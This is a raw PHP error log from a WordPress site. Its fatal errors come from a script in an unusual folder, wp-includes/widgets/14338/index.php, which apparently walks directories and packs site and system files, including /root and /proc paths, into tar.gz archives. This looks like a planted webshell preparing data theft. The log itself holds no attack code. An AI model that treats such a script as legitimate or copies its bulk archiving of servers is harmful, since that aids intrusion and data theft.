#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-i18n.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-taxonomy.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-embed.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-theme.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-block.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-roles.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-error.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:50:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-diff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:51:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ms-settings.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:51:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:51:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/IXR.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-IXR-error.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/getid3.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/readme.txt.txt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/SMTP.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/getid3.lib.php.lib.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/module.tag.lyrics3.php.tag.lyrics3.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Exception.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-IXR-value.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:47 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/PHPMailer.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:53:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Diff.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:54:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Exception.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:54:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/license.txt.txt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:54:54 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/usr/share/cracklib/pw_dict.hwm" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:55:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ID3.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:55:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Renderer.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:56:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/xdiff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:56:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/shell.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:57:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-patterns.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:57:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/embed-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:57:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:00:37 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/proc/3219213/net/nf_conntrack" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:06:46 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/proc/sys/fs/binfmt_misc/register" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:07:07 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 736108278 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:07:28 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/root): Failed to open directory: Permission denied in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:07:55 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/proc/3258901/net/rt6_stats" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:08:02 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/usr/sbin/unix_update" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:09:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/html.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:09:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/list.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:10:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/file.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:10:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/plupload.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:10:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/code.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:10:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/more.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:10:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/thickbox.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:12:42 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:14:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-reply.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:14:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-content.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
